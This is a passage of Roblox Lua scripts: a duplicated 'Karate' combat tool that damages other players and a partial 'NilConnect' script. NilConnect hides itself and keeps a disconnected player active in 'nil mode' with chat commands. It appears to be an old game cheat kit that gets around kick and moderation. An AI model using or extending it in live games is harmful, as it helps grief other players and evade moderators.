- LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)+(180/3)))
- RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
- LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
- CF2 = CF * CFrame.Angles(math.rad(180/5.8), math.rad(-i), 0)
- bg.cframe = CF2
- wait()
- end
- TBricks[3].hurt = false
- wait()
- for i = 270, 360, 90/5 do
- local a = i-270
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad((-a*1.1)-(180*1.45))) * CFrame.new(0, (a/100)+((-270+180)/100), 0)
- LLW.C0 = CFrame.Angles(0, 0, math.rad((a/3)-(90/3)))
- RAW.C0 = CFrame.Angles(math.rad(270/5-((a*3)/5)), 0, math.rad(270/10-((a*3)/10)))
- LAW.C0 = CFrame.Angles(math.rad(-270/5+((a*3)/5)), 0, math.rad(-270/10+((a*3)/10)))
- CF2 = CF * CFrame.Angles(math.rad((180/5.8)-((a*2)/5.8)), math.rad(-i), 0)
- bg.cframe = CF2
- wait()
- end
- endEff()
- wait()
- nilparts()
- bg:remove()
- bp:remove()
- neck.C0 = necko
- end
- end,
- function(mouse)
- local Orig = torso.CFrame
- local MousePos = mouse.Hit.p
- local bg = Add.BG(torso)
- local bp = Add.BP(torso)
- bp.position = Orig.p
- local CF = ComputePos(Orig.p, MousePos)
- local CF2 = CF
- bg.cframe = CF2
- startEff(TBricks[2][1])
- attach()
- bp.position = CF * CFrame.new(0, 0, -0.8).p
- dmg = dmgs.Kardmg
- for i = 0, -45, -45/3 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
- LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
- RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/3))
- LAW.C0 = CFrame.Angles(math.rad(-i*4), 0, 0)
- CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- TBricks[2].hurt = true
- bp.position = CF * CFrame.new(0, 0, -1.6).p
- slash:play()
- for i = -45, -110, -65/3 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- LAW.C0 = CFrame.Angles(math.rad(-45*4), 0, math.rad((i*2+110)))
- CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- wait()
- TBricks[2].hurt = false
- for i = -110, 0, 110/4 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- LAW.C0 = CFrame.Angles(0, 0, math.rad(i) )
- RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/2/3))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(45/4-(((i/2)+45)/4)))
- LLW.C0 = CFrame.Angles(0, 0, math.rad(45/4+(((i/2)-45)/4)))
- CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- endEff()
- wait()
- nilparts()
- bg:remove()
- bp:remove()
- neck.C0 = necko
- end
- }
- bloc = function(mouse)
- local hold = true
- local bg = Add.BG(nil)
- attach()
- RLW.Part1 = nil
- LLW.Part1 = nil
- slash:play()
- local duh = true
- block = true
- mouse.KeyUp:connect(function(k)
- k = k:lower()
- if duh == true and k == "t" then
- block = false
- duh = false
- hold = false
- end
- end)
- coroutine.resume(coroutine.create(function()
- for i = 0, 90, 90/7 do
- RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
- LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
- wait()
- end
- end))
- bg.Parent = torso
- while block and hold do
- wait()
- bg.cframe = ComputePos(torso.Position, mouse.Hit.p)
- end
- for i = 90, 0, -90/7 do
- RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
- LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
- wait()
- end
- nilparts()
- bg:remove()
- neck.C0 = necko
- end
- function select(mouse)
- mouse.Button1Down:connect(function()
- if able then
- able = false
- attacks[1](mouse)
- attacks[2](mouse)
- attacks[3](mouse)
- attacks[4](mouse)
- attacks[5](mouse)
- able = true
- end
- end)
- mouse.KeyDown:connect(function(key)
- key = key:lower()
- if able then
- if key == "q" then
- able = false
- attacks[2](mouse)
- able = true
- elseif key == "e" then
- able = false
- attacks[1](mouse)
- able = true
- elseif key == "r" then
- able = false
- attacks[3](mouse)
- able = true
- elseif key == "f" then
- able = false
- attacks[4](mouse)
- able = true
- elseif key == "g" then
- able = false
- attacks[5](mouse)
- able = true
- elseif key == "t" then
- able = false
- bloc(mouse)
- able = true
- elseif key == "z" then
- able = false
- holdkey = true
- while holdkey do
- attacks[math.random(1,#attacks)](mouse)
- end
- able = true
- end
- end
- end)
- mouse.KeyUp:connect(function(key)
- key = key:lower()
- if key == "z" then
- holdkey = false
- end
- end)
- end
- if script.Parent.className ~= "HopperBin" then
- h = Instance.new("HopperBin",me.Backpack)
- h.Name = "Soul Crushing Karate"
- script.Parent = h
- end
- bin = script.Parent
- bin.Selected:connect(select)
- end)
- ]]
- Karate = [[
- Plrs = game:GetService("Players")
- me = Plrs.LocalPlayer
- char = me.Character
- Modelname = "SoulKarate"
- dmgs = {Pdmg = {7, 13, "Punch"}, Kdmg = {10, 19, "Kick"}, K2dmg = {12, 16, "Doublekick"}, Rdmg = {16, 23, "RoundHouse"},
- Kardmg = {8, 15, "Karate"}}
- dmg = dmgs.Pdmg
- Surfaces = {"FrontSurface", "BackSurface", "TopSurface", "BottomSurface", "LeftSurface", "RightSurface"}
- necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- able = true
- block = false
- breakblock = 19
- holdkey = false
- effectOn = false
- Add = {
- Sphere = function(P)
- local m = Instance.new("SpecialMesh",P)
- m.MeshType = "Sphere"
- return m
- end,
- BF = function(P)
- local bf = Instance.new("BodyForce",P)
- bf.force = Vector3.new(0, P:GetMass()*187, 0)
- return bf
- end,
- BP = function(P)
- local bp = Instance.new("BodyPosition",P)
- bp.maxForce = Vector3.new(math.huge, 0, math.huge)
- bp.P = 14000
- return bp
- end,
- BG = function(P)
- local bg = Instance.new("BodyGyro",P)
- bg.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- bg.P = 14000
- return bg
- end
- }
- function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break)
- local p = Instance.new("Part")
- p.formFactor = "Custom"
- p.Anchored = Anchor
- p.CanCollide = Collide
- p.Transparency = Tran
- p.Reflectance = Ref
- p.BrickColor = BrickColor.new(Color)
- for _, Surf in pairs(Surfaces) do
- p[Surf] = "Smooth"
- end
- p.Size = Vector3.new(X, Y, Z)
- if Break then
- p:BreakJoints()
- else p:MakeJoints() end
- p.Parent = Parent
- return p
- end
- function Weld(p0, p1, x, y, z, a, b, c)
- local w = Instance.new("Weld")
- w.Parent = p0
- w.Part0 = p0
- w.Part1 = p1
- w.C1 = CFrame.new(x,y,z) * CFrame.Angles(a,b,c)
- return w
- end
- function ComputePos(pos1, pos2)
- local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z)
- return CFrame.new(pos1, pos3)
- end
- function getHumanoid(c)
- local h = nil
- for i,v in pairs(c:children()) do
- if v:IsA("Humanoid") and c ~= char then
- if v.Health > 0 then
- h = v
- end
- end
- end
- return h
- end
- function getHead(c, pos, m)
- local h = nil
- local n = nil
- t = c:findFirstChild("Torso")
- if t ~= nil then
- n = t:findFirstChild("Neck")
- end
- for i,v in pairs(c:children()) do
- if v.Name == "Head" then
- if (v.Position - pos).magnitude < m then
- h = v
- end
- end
- end
- return h, n
- end
- for i,v in pairs(char:children()) do
- if v.Name == Modelname then
- v:remove()
- end
- end
- torso = char.Torso
- neck = torso.Neck
- hum = char.Humanoid
- Rarm = char["Right Arm"]
- Larm = char["Left Arm"]
- Rleg = char["Right Leg"]
- Lleg = char["Left Leg"]
- LastHP = hum.Health
- function HpChange(newhp)
- if block and hum.Health > 0.1 then
- local dif = LastHP - newhp
- if dif > 0 then
- local h = LastHP - ((LastHP-newhp)/3)
- hum.Health = h
- wait()
- hum.Health = h
- end
- if dif > breakblock then
- block = false
- local a = Add.BP(torso)
- a.position = torso.Position
- local b = Add.BG(torso)
- b.cframe = CFrame.new(torso.Position, torso.CFrame * CFrame.new(0, 0, -5).p)
- wait(0.6)
- a:remove()
- b:remove()
- able = true
- end
- end
- LastHP = hum.Health
- end
- hum.HealthChanged:connect(HpChange)
- hc = Instance.new("Humanoid")
- hc.Health = 0
- hc.MaxHealth = 0
- slash = Instance.new("Sound")
- slash.SoundId = "rbxasset://sounds//swordslash.wav"
- slash.Volume = 0.8
- slash.Pitch = 1.4
- slash.Parent = Rarm
- hitsound = Instance.new("Sound")
- hitsound.SoundId = "http://www.roblox.com/asset/?id=2801263"
- hitsound.Volume = 0.55
- hitsound.Pitch = 2.1
- hitsound.Parent = torso
- Mo = Instance.new("Model")
- Mo.Name = Modelname
- RABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
- LABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
- RLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
- LLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
- RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0)
- LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0)
- RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0)
- LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0)
- RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0)
- LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0)
- RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0)
- LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0)
- TBricks = {}
- for i, v in pairs({Rarm, Larm, Rleg, Lleg}) do
- local p = Part(Mo, false, false, 1, 0, "White", 0.9, 0.9, 0.8, true)
- Weld(v, p, 0, 0.7, 0, 0, 0, 0)
- table.insert(TBricks, {p, hurt = false, able = true})
- end
- function startEff(part)
- effectOn = true
- local lastPoint = part.Position
- coroutine.resume(coroutine.create(function()
- while effectOn do
- wait()
- local mag = (lastPoint - part.Position).magnitude
- local p = Part(Mo, true, false, 0.2, 0.05, "Institutional white", 0.1, 0.1, mag+0.2, true)
- p.CFrame = CFrame.new(lastPoint, part.Position) * CFrame.new(0, 0, -mag/2)
- Instance.new("BlockMesh",p)
- lastPoint = part.Position
- coroutine.resume(coroutine.create(function()
- for x=0.2,1,0.2 do
- wait()
- p.Transparency = x
- end
- p:remove()
- end))
- end
- end))
- end
- function endEff()
- effectOn = false
- end
- function ShowDMG(p, d)
- local mo = Instance.new("Model")
- mo.Name = d
- local pa = Part(mo, false, true, 0, 0, "Bright red", 0.8, 0.2, 0.8, true)
- pa.CFrame = CFrame.new(p.Position)
- pa.Name = "Head"
- local hah = hc:clone()
- hah.Parent = mo
- local bp = Add.BP(pa)
- bp.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- bp.position = p.Position + Vector3.new(0, 2.5, 0)
- Add.BG(pa)
- coroutine.resume(coroutine.create(function()
- wait(0.2)
- mo.Parent = workspace
- wait(1.5)
- mo:remove()
- end))
- end
- for i, v in pairs(TBricks) do
- v[1].Touched:connect(function(hit)
- local fig = hit.Parent
- H, T = getHumanoid(fig), fig:findFirstChild("Torso")
- if H ~= nil and T ~= nil and v.hurt and v.able then
- hitsound:play()
- v.able = false
- local d = math.random(dmg[1], dmg[2])
- local hed, ne = getHead(fig, v[1].Position, 2.5)
- if dmg[3] == "RoundHouse" and hed ~= nil then
- d = math.random(dmg[1]*2.4, dmg[2]*2.4)
- coroutine.resume(coroutine.create(function()
- if ne ~= nil then
- for i=0,60,20 do
- ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
- wait()
- end
- for i=60,0,-20 do
- ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
- wait()
- end
- ne.C0 = necko
- end
- end))
- end
- H.Health = H.Health - d
- local xd = CFrame.new(v[1].Position, hit.Position)
- hit.Velocity = xd.lookVector * (d*2.3)
- ShowDMG(v[1], d)
- wait(0.34)
- v.able = true
- end
- end)
- end
- Mo.Parent = char
- RAWBattle = nil
- LAWBattle = nil
- function nilparts()
- LAW.Part1 = nil
- RAW.Part1 = nil
- RLW.Part1 = nil
- LLW.Part1 = nil
- LAW.C0 = CFrame.new(0, 0, 0)
- RLW.C0 = CFrame.new(0, 0, 0)
- LLW.C0 = CFrame.new(0, 0, 0)
- RAW.C0 = CFrame.new(0, 0, 0)
- end
- function attach()
- LAW.Part1 = Larm
- RLW.Part1 = Rleg
- LLW.Part1 = Lleg
- RAW.Part1 = Rarm
- LAW.C0 = CFrame.new(0, 0, 0)
- RLW.C0 = CFrame.new(0, 0, 0)
- LLW.C0 = CFrame.new(0, 0, 0)
- RAW.C0 = CFrame.new(0, 0, 0)
- end
- attacks = {
- function(mouse)
- local Orig = torso.CFrame
- local MousePos = mouse.Hit.p
- local bg = Add.BG(torso)
- local bp = Add.BP(torso)
- bp.position = Orig.p
- local CF = ComputePos(Orig.p, MousePos)
- local CF2 = CF
- bg.cframe = CF2
- attach()
- bp.position = CF * CFrame.new(0, 0, -1.5).p
- startEff(TBricks[3][1])
- TBricks[3].hurt = true
- slash:play()
- dmg = dmgs.Kdmg
- for i = 0, 100, 100/4 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/200, 0)
- LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
- RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
- LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
- CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- wait(0.1)
- TBricks[3].hurt = false
- for i = 100, 0, -100/5 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/150, 0)
- LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
- RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
- LAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
- CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- endEff()
- wait()
- nilparts()
- bg:remove()
- bp:remove()
- neck.C0 = necko
- end,
- function(mouse)
- local Orig = torso.CFrame
- local MousePos = mouse.Hit.p
- local bg = Add.BG(torso)
- local bp = Add.BP(torso)
- bp.position = Orig.p
- local CF = ComputePos(Orig.p, MousePos)
- local CF2 = CF
- bg.cframe = CF2
- attach()
- bp.position = CF * CFrame.new(0, 0, -1.5).p
- TBricks[2].hurt = true
- startEff(TBricks[2][1])
- slash:play()
- dmg = dmgs.Pdmg
- for i = 0, -90, -90/4 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
- LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
- RAW.C0 = CFrame.Angles(0, 0, 0)
- LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
- CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- wait(0.07)
- TBricks[2].hurt = false
- endEff()
- startEff(TBricks[1][1])
- TBricks[1].hurt = true
- bp.position = CF * CFrame.new(0, 0, -3).p
- slash:play()
- for i = -90, 0, 90/7 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i*2+90)))
- RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
- LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
- CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i*2+90), 0)
- bg.cframe = CF2
- wait()
- end
- wait(0.07)
- TBricks[1].hurt = false
- for i = 0, -90, -90/5 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i+90)))
- RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(i/4+23))
- LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4-23))
- CF2 = CF * CFrame.Angles(0, math.rad(i+90), 0)
- bg.cframe = CF2
- wait()
- end
- endEff()
- wait()
- nilparts()
- bg:remove()
- bp:remove()
- neck.C0 = necko
- end,
- function(mouse)
- local Orig = torso.CFrame
- local MousePos = mouse.Hit.p
- local bg = Add.BG(torso)
- local bp = Add.BP(torso)
- bp.position = Orig.p
- local CF = ComputePos(Orig.p, MousePos)
- local CF2 = CF
- bg.cframe = CF2
- attach()
- bp.position = CF * CFrame.new(0, 0, -1.5).p
- TBricks[4].hurt = true
- startEff(TBricks[4][1])
- slash:play()
- dmg = dmgs.K2dmg
- for i = 0, -100, -100/4 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
- LLW.C0 = CFrame.Angles(0, 0, math.rad(i))
- RAW.C0 = CFrame.Angles(math.rad(-i/6), 0, math.rad(-i/7))
- LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
- CF2 = CF * CFrame.Angles(math.rad(-i/5), math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- wait(0.1)
- bp.position = CF * CFrame.new(0, 0, -3).p
- TBricks[4].hurt = false
- endEff()
- startEff(TBricks[3][1])
- TBricks[3].hurt = true
- local Cobalt11641, hipow12 = RLW.C0, LLW.C0
- slash:play()
- for i = -100, -290, -190/5 do
- RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(-i/3-(100/4)))
- LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)-100))
- CF2 = CF * CFrame.Angles(math.rad(100/5), math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- wait(0.1)
- bp.position = CF * CFrame.new(0, 0, -4.5).p
- TBricks[3].hurt = false
- Cobalt11641, hipow12 = RLW.C0, LLW.C0
- for i = 0, -70, -70/3 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad((i*1.3)+100))
- RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(i*1.4))
- LLW.C0 = hipow12 * CFrame.Angles(0, 0, 0)
- RAW.C0 = CFrame.Angles(0, 0, 0)
- LAW.C0 = CFrame.Angles(0, 0, 0)
- CF2 = CF * CFrame.Angles(0, math.rad(-290+i), 0)
- bg.cframe = CF2
- wait()
- end
- endEff()
- wait()
- nilparts()
- bg:remove()
- bp:remove()
- neck.C0 = necko
- end,
- function(mouse)
- if mouse ~= nil then
- local Orig = torso.CFrame
- local MousePos = mouse.Hit.p
- local bg = Add.BG(torso)
- local bp = Add.BP(torso)
- bp.position = Orig.p
- local CF = ComputePos(Orig.p, MousePos)
- local CF2 = CF
- bg.cframe = CF2
- startEff(TBricks[3][1])
- attach()
- bp.position = CF * CFrame.new(0, 0, -1).p
- dmg = dmgs.Rdmg
- for i = 0, 180, 180/7 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i/2))
- RLW.C0 = CFrame.Angles(0, 0, 0)
- LLW.C0 = CFrame.Angles(0, 0, 0)
- RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
- LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
- CF2 = CF * CFrame.Angles(math.rad(i/5.8), math.rad(-i), 0)
- bg.cframe = CF2
- wait()
- end
- slash:play()
- TBricks[3].hurt = true
- for i = 180, 180+90, 90/4 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad((-i*2-180)-90))
- RLW.C0 = CFrame.Angles(0, 0, math.rad((i*1.45)-(180*1.45))) * CFrame.new(0, (-i+180)/100, 0)
- LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)+(180/3)))
- RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
- LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
- CF2 = CF * CFrame.Angles(math.rad(180/5.8), math.rad(-i), 0)
- bg.cframe = CF2
- wait()
- end
- TBricks[3].hurt = false
- wait()
- for i = 270, 360, 90/5 do
- local a = i-270
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad((-a*1.1)-(180*1.45))) * CFrame.new(0, (a/100)+((-270+180)/100), 0)
- LLW.C0 = CFrame.Angles(0, 0, math.rad((a/3)-(90/3)))
- RAW.C0 = CFrame.Angles(math.rad(270/5-((a*3)/5)), 0, math.rad(270/10-((a*3)/10)))
- LAW.C0 = CFrame.Angles(math.rad(-270/5+((a*3)/5)), 0, math.rad(-270/10+((a*3)/10)))
- CF2 = CF * CFrame.Angles(math.rad((180/5.8)-((a*2)/5.8)), math.rad(-i), 0)
- bg.cframe = CF2
- wait()
- end
- endEff()
- wait()
- nilparts()
- bg:remove()
- bp:remove()
- neck.C0 = necko
- end
- end,
- function(mouse)
- local Orig = torso.CFrame
- local MousePos = mouse.Hit.p
- local bg = Add.BG(torso)
- local bp = Add.BP(torso)
- bp.position = Orig.p
- local CF = ComputePos(Orig.p, MousePos)
- local CF2 = CF
- bg.cframe = CF2
- startEff(TBricks[2][1])
- attach()
- bp.position = CF * CFrame.new(0, 0, -0.8).p
- dmg = dmgs.Kardmg
- for i = 0, -45, -45/3 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
- LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
- RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/3))
- LAW.C0 = CFrame.Angles(math.rad(-i*4), 0, 0)
- CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- TBricks[2].hurt = true
- bp.position = CF * CFrame.new(0, 0, -1.6).p
- slash:play()
- for i = -45, -110, -65/3 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- LAW.C0 = CFrame.Angles(math.rad(-45*4), 0, math.rad((i*2+110)))
- CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- wait()
- TBricks[2].hurt = false
- for i = -110, 0, 110/4 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- LAW.C0 = CFrame.Angles(0, 0, math.rad(i) )
- RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/2/3))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(45/4-(((i/2)+45)/4)))
- LLW.C0 = CFrame.Angles(0, 0, math.rad(45/4+(((i/2)-45)/4)))
- CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- endEff()
- wait()
- nilparts()
- bg:remove()
- bp:remove()
- neck.C0 = necko
- end
- }
- bloc = function(mouse)
- local hold = true
- local bg = Add.BG(nil)
- attach()
- RLW.Part1 = nil
- LLW.Part1 = nil
- slash:play()
- local duh = true
- block = true
- mouse.KeyUp:connect(function(k)
- k = k:lower()
- if duh == true and k == "t" then
- block = false
- duh = false
- hold = false
- end
- end)
- coroutine.resume(coroutine.create(function()
- for i = 0, 90, 90/7 do
- RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
- LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
- wait()
- end
- end))
- bg.Parent = torso
- while block and hold do
- wait()
- bg.cframe = ComputePos(torso.Position, mouse.Hit.p)
- end
- for i = 90, 0, -90/7 do
- RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
- LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
- wait()
- end
- nilparts()
- bg:remove()
- neck.C0 = necko
- end
- function select(mouse)
- mouse.Button1Down:connect(function()
- if able then
- able = false
- attacks[1](mouse)
- attacks[2](mouse)
- attacks[3](mouse)
- attacks[4](mouse)
- attacks[5](mouse)
- able = true
- end
- end)
- mouse.KeyDown:connect(function(key)
- key = key:lower()
- if able then
- if key == "q" then
- able = false
- attacks[2](mouse)
- able = true
- elseif key == "e" then
- able = false
- attacks[1](mouse)
- able = true
- elseif key == "r" then
- able = false
- attacks[3](mouse)
- able = true
- elseif key == "f" then
- able = false
- attacks[4](mouse)
- able = true
- elseif key == "g" then
- able = false
- attacks[5](mouse)
- able = true
- elseif key == "t" then
- able = false
- bloc(mouse)
- able = true
- elseif key == "z" then
- able = false
- holdkey = true
- while holdkey do
- attacks[math.random(1,#attacks)](mouse)
- end
- able = true
- end
- end
- end)
- mouse.KeyUp:connect(function(key)
- key = key:lower()
- if key == "z" then
- holdkey = false
- end
- end)
- end
- if script.Parent.className ~= "HopperBin" then
- h = Instance.new("HopperBin",me.Backpack)
- h.Name = "Karate"
- script.Parent = h
- end
- bin = script.Parent
- bin.Selected:connect(select)
- ]]
- NilConnect = [[
- wait(0.001)
- script:ClearAllChildren()
- script.Parent=nil
- wait(1)
- LocalPlayer = game:service'Players'.LocalPlayer
- ProbeMode = false
- char = nil
- probe = nil
- game:service'Debris':AddItem(x,3)
- if LocalPlayer.Character then
- LocalPlayer.Character.Archivable = true
- char = LocalPlayer.Character:Clone()
- char.Torso.Anchored = true
- else
- local con = LocalPlayer.CharacterAdded:connect(function()
- wait(0.5)
- LocalPlayer.Character.Archivable = true
- char = LocalPlayer.Character:Clone()
- char.Torso.Anchored = true
- end)
- end
- xcon = LocalPlayer.Changed:connect(function(asd)
- if asd == 'Parent' then
- local a = Instance.new("Hint",workspace)
- a.Text = '[ Connected|CMDS|Probe|Char|Fcam|Rej ]'
- game:service'Debris':AddItem(a,3)
- end
- end)
- asdcon = LocalPlayer.Chatted:connect(function(msg)
- pcall(function()
- if LocalPlayer.Parent ~= game:service'Players' then
- if msg == 'char/' then
- ProbeMode = false
- elseif msg == 'probe/' then
- ProbeMode = true
- elseif msg == 'fcam/' then
- if LocalPlayer.Parent ~= game:service'Players' then
- if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
- if ProbeMode == false then
- game.Players.CurrentCamera.CameraSubject = game.Workspace[LocalPlayer.Name].Humanoid
- end
- end
- end
- elseif msg == 'rej/' then
- coroutine.wrap(function()
- if ProbeMode == true then
- probe:remove()
- else
- LocalPlayer.Character:remove()
- char = nil
- end
- zcon:disconnect()
- asdcon:disconnect()
- xcon:disconnect()
- end)()
- game:service'TeleportService':Teleport(game.PlaceId)
- else
- if ProbeMode == true then
- game:service'Chat':Chat(probe,msg)
- else
- game:service'Chat':Chat(LocalPlayer.Character.Head,msg)
- end
- end
- end
- end)
- end)
- zcon = game:service'RunService'.RenderStepped:connect(function()
- if LocalPlayer.Parent ~= game:service'Players' then
- if ProbeMode == false then
- if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
- local chr = char:Clone()
- chr.Parent = workspace
- LocalPlayer.Character = chr
- wait(0.1)
- game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid'
- end
- else
- if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'Cobalt1164Mesh' == nil then
- if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end
- local a = Instance.new("Part",workspace)
- a.Name = LocalPlayer.Name
- a.FormFactor = 'Custom'
- a.CanCollide = false
- a.Locked = true
- a.Anchored = true
- a.TopSurface = 0
- a.BottomSurface = 0
- a.Size = Vector3.new(2,2,2)
- a.BrickColor = BrickColor.new("Really black")
- local b = Instance.new('SpecialMesh',a)
- b.Name = 'Cobalt1164Mesh'
- b.MeshType = 'Sphere'
- probe = a
- else
- local asd = probe:findFirstChild'Cobalt1164Mesh'
- asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2)
- probe.CFrame = workspace.CurrentCamera.Focus
- end
- end
- end
- end)
- LocalPlayer:GetMouse().KeyDown:connect(function(k)
- key = k
- end)
- LocalPlayer:GetMouse().KeyUp:connect(function()
- key = nil
- end)
- game:service'RunService'.RenderStepped:connect(function()
- if LocalPlayer.Parent ~= game:service'Players' then
- if ProbeMode == false then
- if LocalPlayer.Character ~= nil then
- if key == 'w' then
- LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5)
- elseif key == 's' then
- LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5)
- elseif key == 'd' then
- LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0)
- elseif key == 'a' then
- LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0)
- end
- end
- end
